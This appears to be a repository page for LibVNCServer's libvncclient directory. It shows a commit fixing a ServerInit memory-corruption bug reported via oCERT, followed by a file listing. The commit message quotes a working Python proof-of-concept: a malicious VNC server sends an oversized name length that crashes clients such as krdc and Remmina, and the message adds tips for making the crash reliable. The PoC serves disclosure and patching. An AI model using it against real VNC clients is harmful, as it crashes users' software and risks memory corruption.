You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
libtdevnc/libvncclient
Christian Beier 7ef0ae905c Fix possible libvncclient ServerInit memory corruption.
This fixes the following oCERT report (oCERT-2014-008 pt.2):

There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.

Field             Size
---------------------------------
name-length [4]
name-string  [name-length]

Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.

I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.

Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.

import socket,struct,sys

HOST = ""
PORT =  5900

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)

conn,addr = c.accept()
print "Connected by ", addr

protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)

data = conn.recv(1024) # Receive the version from them.

secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)

data = conn.recv(1024) # Receive the secType choice from them.

secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)

data = conn.recv(1024) # Receive the ClientInit (Shared-flag).

frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM =  0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"

conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )

c.close()
11 years ago
..
Makefile.am Add libvncclient/h264.c to dist tarball. 11 years ago
corre.c API change: Bool, KeySym, Pixel get prefix "rfb"; constants in rfbconfig.h get prefix "LIBVNCSERVER_" 23 years ago
cursor.c libvncclient: add GotCursorShape() and GotCopyRect(); x11vnc dep on libvncclient 19 years ago
h264.c LibVNCClient: Add H.264 encoding for framebuffer updates 13 years ago
hextile.c signed vs unsigned warnings eliminated (gcc 4.0.1) 20 years ago
listen.c Use WIN32 for Windows-specific #ifdef guards 12 years ago
rfbproto.c Fix possible libvncclient ServerInit memory corruption. 11 years ago
rre.c API change: Bool, KeySym, Pixel get prefix "rfb"; constants in rfbconfig.h get prefix "LIBVNCSERVER_" 23 years ago
sockets.c Fix potential memory corruption in libvncclient. 11 years ago
tight.c signed vs unsigned warnings eliminated (gcc 4.0.1) 20 years ago
tls.h Add anonymous TLS support in libvncclient 17 years ago
tls_gnutls.c LibVNCClient: Remove all those WITH_CLIENT_TLS #ifdefs and move GnuTLS specific functionality into tls_gnutls.c. 14 years ago
tls_none.c LibVNCClient: Fix build with no SSL/TLS library available. 14 years ago
tls_openssl.c Fix tv_usec calculation 12 years ago
ultra.c Fix regression in Ultra encoding introduced by commit fe1ca16e9b. 15 years ago
vncviewer.c `strings.h` and `resolv.h` are not available on MSVC, and some POSIX functions are renamed or deprecated 11 years ago
zlib.c signed vs unsigned warnings eliminated (gcc 4.0.1) 20 years ago
zrle.c Perform pointer arithmetic on char * instead of void * 12 years ago